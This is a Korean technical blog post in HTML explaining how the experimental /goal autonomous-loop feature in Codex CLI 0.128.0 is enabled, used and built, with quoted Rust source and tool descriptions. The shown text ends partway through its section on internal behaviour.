&lt;div style=&quot;background-color: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 20px 28px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; font-size: 17px; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 24px; line-height: 1.9;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;/goal &amp;mdash; 자율 루프 한 줄 요약&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;설정 &amp;mdash; config.toml 한 줄과 명시적 활성화&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;/goal 사용법 &amp;mdash; 네 개의 명령어로 끝나는 인터페이스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;내부 동작 &amp;mdash; 모델 툴, continuation 템플릿, 안전장치&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;Claude ralph loop와의 비교 &amp;mdash; 같은 철학, 다른 구조&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;토큰 소모 후 동작 &amp;mdash; 확인된 것과 확인되지 않은 것&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;실전 활용 팁&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;결정 매트릭스 &amp;mdash; 언제 쓰고, 언제 쓰지 않는가&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;마무리&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 글 한 줄 요약&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex CLI 0.128.0에 새로 추가된 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt; 기능의 소스코드 기반 동작 분석, Claude oh-my-claudecode ralph loop와의 비교, 안전한 실전 운용 가이드를 담는다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 1 ===== --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. /goal &amp;mdash; 자율 루프 한 줄 요약&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1054&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUmMEJ/dJMcacQuPPv/mU22jjYIRLKpDIhAC0azKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUmMEJ/dJMcacQuPPv/mU22jjYIRLKpDIhAC0azKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUmMEJ/dJMcacQuPPv/mU22jjYIRLKpDIhAC0azKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUmMEJ%2FdJMcacQuPPv%2FmU22jjYIRLKpDIhAC0azKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1054&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 정리하면, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 &quot;대화 세션이 끊겨도 목표는 사라지지 않고, 모델이 쉬고 있는 틈마다 '계속 진행해' 신호를 받아 작업을 이어가는 루프&quot;다. 여기서 핵심은 목표가 대화를 넘어 유지된다는 점이다. 다음 턴에 사용자 입력이 없으면 시스템이 알아서 모델을 다시 깨워 작업을 이어가게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 2 ===== --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설정 &amp;mdash; config.toml 한 줄과 명시적 활성화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 기본으로 켜져 있는 기능이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우도 /goal 을 그냥 사용해보려고 했는데 동작하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv7AR6/dJMcacprpc8/emfnpmkmmZ8igLy3uEPrXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv7AR6/dJMcacprpc8/emfnpmkmmZ8igLy3uEPrXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv7AR6/dJMcacprpc8/emfnpmkmmZ8igLy3uEPrXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv7AR6%2FdJMcacprpc8%2FemfnpmkmmZ8igLy3uEPrXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;1068&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;0.128.0 버전 기준으로 OpenAI의 기능 성숙도 구분 상 Experimental(실험적)보다도 앞 단계인 UnderDevelopment(개발 중)로 분류되어 있다. &lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/features/src/lib.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex의 features 모듈 소스&lt;/a&gt;를 보면 다음과 같이 나온다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; padding: 20px; border-radius: 8px; overflow-x: auto; margin: 16px 0; white-space: pre;&quot; data-ke-language=&quot;rust&quot;&gt;&lt;code&gt;FeatureSpec {
    id: Feature::Goals,
    key: &quot;goals&quot;,
    stage: Stage::UnderDevelopment,
    default_enabled: false,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;default_enabled: false&lt;/code&gt;가 의도적으로 들어가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/feature-maturity&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Feature Maturity 문서&lt;/a&gt;는 Under development를 &quot;아직 사용할 준비가 안 된&quot; 단계로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &quot;공개 실험 기능&quot;이 아니라 코드와 릴리즈 노트가 먼저 들어간 개발 중인 기능으로 보는 게 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;/goal 기능을 킬려면 &lt;a style=&quot;color: #ee2323;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 config 가이드&lt;/a&gt;에 나오는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;[features]&lt;/code&gt; 섹션에 한 줄 추가하면 된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config.toml에 다음 내용을 추가하면 된다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; padding: 20px; border-radius: 8px; overflow-x: auto; margin: 16px 0; white-space: pre;&quot; data-ke-language=&quot;toml&quot;&gt;&lt;code&gt;[features]
goals = true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 활성화 후 /goal 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zOhQe/dJMcaaSHUpa/PwUPCGDKyKbPCLxjGqMkhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zOhQe/dJMcaaSHUpa/PwUPCGDKyKbPCLxjGqMkhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zOhQe/dJMcaaSHUpa/PwUPCGDKyKbPCLxjGqMkhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzOhQe%2FdJMcaaSHUpa%2FPwUPCGDKyKbPCLxjGqMkhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;215&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. /goal 사용법 &amp;mdash; 네 개의 명령어로 끝나는 인터페이스&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G5xpT/dJMcaciFLxT/DyOCduuYODDezxuPi7jmK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G5xpT/dJMcaciFLxT/DyOCduuYODDezxuPi7jmK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G5xpT/dJMcaciFLxT/DyOCduuYODDezxuPi7jmK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG5xpT%2FdJMcaciFLxT%2FDyOCduuYODDezxuPi7jmK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;1068&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 인터페이스는 의외로 단순하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tui/src/chatwidget/slash_dispatch.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;slash_dispatch.rs&lt;/code&gt;의 GOAL_USAGE 상수&lt;/a&gt;가 사실상 모든 사용법을 압축해서 보여 준다.&lt;/p&gt;
&lt;pre class=&quot;rust&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; padding: 20px; border-radius: 8px; overflow-x: auto; margin: 16px 0; white-space: pre;&quot; data-ke-language=&quot;rust&quot;&gt;&lt;code&gt;const GOAL_USAGE: &amp;amp;str = &quot;Usage: /goal &amp;lt;objective&amp;gt;&quot;;
const GOAL_USAGE_HINT: &amp;amp;str = &quot;Example: /goal improve benchmark coverage&quot;;

match trimmed.to_ascii_lowercase().as_str() {
    &quot;clear&quot;  =&amp;gt; Some(GoalControlCommand::Clear),
    &quot;pause&quot;  =&amp;gt; Some(GoalControlCommand::SetStatus(AppThreadGoalStatus::Paused)),
    &quot;resume&quot; =&amp;gt; Some(GoalControlCommand::SetStatus(AppThreadGoalStatus::Active)),
    _ =&amp;gt; None,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면 네 개의 형태가 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;명령&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal &amp;lt;목표&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;새 목표를 생성하고 자율 루프를 시작한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal pause&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;현재 활성 목표를 paused 상태로 전환한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal resume&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;paused 목표를 active로 되돌린다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal clear&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;현재 목표를 제거한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인자 없이 빈 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt; 만 실행하면 현재 목표 상태를 표시하는데, 목표가 설정되어 있으면 내용을 보여주고 없으면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;No goal is currently set.&lt;/code&gt; 라고 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요약하자면, /goal은 &quot;새 목표 입력 + 라이프사이클 제어 3종&quot;으로 디자인되어 있고, 사용자가 외울 단어는 pause/resume/clear 세 개뿐이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff7e6; border-left: 4px solid #f0a202; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;검증 메모:&lt;/b&gt; 0.128.0의 TUI &lt;code style=&quot;background: #f8ead0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal &amp;lt;objective&amp;gt;&lt;/code&gt; 경로는 objective 문자열만 넘긴다. &lt;code style=&quot;background: #f8ead0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;token_budget&lt;/code&gt; 필드는 코어와 모델 툴에는 존재하지만, 이 슬래시 커맨드에 별도 예산 인자 문법이 노출된 것은 확인되지 않는다. &lt;br /&gt;따라서 예산 이야기는 &quot;지원되는 표면에서는 가능&quot;으로 표현해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 4 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 내부 동작 &amp;mdash; 모델 툴, continuation 템플릿, 안전장치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표면 인터페이스는 단순하지만, 내부에는 모델 자율성과 사용자 통제를 분리한 설계가 깔려 있다. 핵심 구성 요소는 세 가지다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmsPJk/dJMcaa6eJsg/lm0CO7w28jPInlGJyf8QdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmsPJk/dJMcaa6eJsg/lm0CO7w28jPInlGJyf8QdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmsPJk/dJMcaa6eJsg/lm0CO7w28jPInlGJyf8QdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmsPJk%2FdJMcaa6eJsg%2Flm0CO7w28jPInlGJyf8QdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1068&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 18px 20px 18px; margin: 22px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;/goal 런타임 흐름 한눈에 보기&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 10px; align-items: stretch; justify-content: space-between; font-size: 14px; line-height: 1.45;&quot;&gt;
&lt;div style=&quot;flex: 1 1 120px; min-width: 120px; border: 1px solid #b3d9ff; border-radius: 8px; padding: 12px; background: #ffffff;&quot;&gt;&lt;b&gt;1. 사용자가 목표 설정&lt;/b&gt;&lt;br /&gt;&lt;code&gt;/goal &amp;lt;objective&amp;gt;&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;align-self: center; color: #0066cc; font-weight: bold;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 120px; min-width: 120px; border: 1px solid #b3d9ff; border-radius: 8px; padding: 12px; background: #ffffff;&quot;&gt;&lt;b&gt;2. Thread goal 저장&lt;/b&gt;&lt;br /&gt;active / paused / complete&lt;/div&gt;
&lt;div style=&quot;align-self: center; color: #0066cc; font-weight: bold;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 120px; min-width: 120px; border: 1px solid #b3d9ff; border-radius: 8px; padding: 12px; background: #ffffff;&quot;&gt;&lt;b&gt;3. idle 조건 확인&lt;/b&gt;&lt;br /&gt;진행 중 턴, 대기 입력, plan mode 제외&lt;/div&gt;
&lt;div style=&quot;align-self: center; color: #0066cc; font-weight: bold;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 120px; min-width: 120px; border: 1px solid #b3d9ff; border-radius: 8px; padding: 12px; background: #ffffff;&quot;&gt;&lt;b&gt;4. continuation 주입&lt;/b&gt;&lt;br /&gt;목표, 시간, 토큰 사용량 포함&lt;/div&gt;
&lt;div style=&quot;align-self: center; color: #0066cc; font-weight: bold;&quot;&gt;&amp;rarr;&lt;/div&gt;
&lt;div style=&quot;flex: 1 1 120px; min-width: 120px; border: 1px solid #b3d9ff; border-radius: 8px; padding: 12px; background: #ffffff;&quot;&gt;&lt;b&gt;5. 다음 행동 실행&lt;/b&gt;&lt;br /&gt;완료 시 모델이 complete 처리&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 14px 0 0 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;연속 continuation에서 tool call이 없으면 다음 자동 continuation은 억제된다. 토큰 예산이 있는 목표가 한도에 닿으면 새 작업 대신 wrap-up 지시가 들어간다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. 모델에게 노출되는 세 개의 툴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tools/src/goal_tool.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;goal_tool.rs&lt;/code&gt;&lt;/a&gt;를 보면 모델이 사용할 수 있는 goal 관련 함수는 정확히 세 개로 제한된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YU4GY/dJMcafzH4dm/LwFYErkKev0idbMzGg3BbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YU4GY/dJMcafzH4dm/LwFYErkKev0idbMzGg3BbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YU4GY/dJMcafzH4dm/LwFYErkKev0idbMzGg3BbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYU4GY%2FdJMcafzH4dm%2FLwFYErkKev0idbMzGg3BbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1036&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;rust&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; padding: 20px; border-radius: 8px; overflow-x: auto; margin: 16px 0; white-space: pre;&quot; data-ke-language=&quot;rust&quot;&gt;&lt;code&gt;pub const GET_GOAL_TOOL_NAME: &amp;amp;str = &quot;get_goal&quot;;
pub const CREATE_GOAL_TOOL_NAME: &amp;amp;str = &quot;create_goal&quot;;
pub const UPDATE_GOAL_TOOL_NAME: &amp;amp;str = &quot;update_goal&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;get_goal&lt;/code&gt;로 현재 목표를 조회하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;create_goal&lt;/code&gt;로 새 목표를 만들며, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;update_goal&lt;/code&gt;로 상태를 갱신한다. 다만 &lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tools/src/goal_tool.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;update_goal&lt;/code&gt;의 description&lt;/a&gt;에는 다음과 같은 제한이 명시되어 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Set status to &lt;code style=&quot;background: #d0e8f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;complete&lt;/code&gt; only when the objective has actually been achieved and no required work remains. You cannot use this tool to pause, resume, or budget-limit a goal; those status changes are controlled by the user or system.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) 목표가 실제로 달성되어 남은 필수 작업이 없을 때만 complete로 상태를 변경하라. &lt;br /&gt;이 툴로 목표를 pause&amp;middot;resume&amp;middot;budget-limit 할 수 없으며, 해당 상태 변경은 사용자 또는 시스템만 제어한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
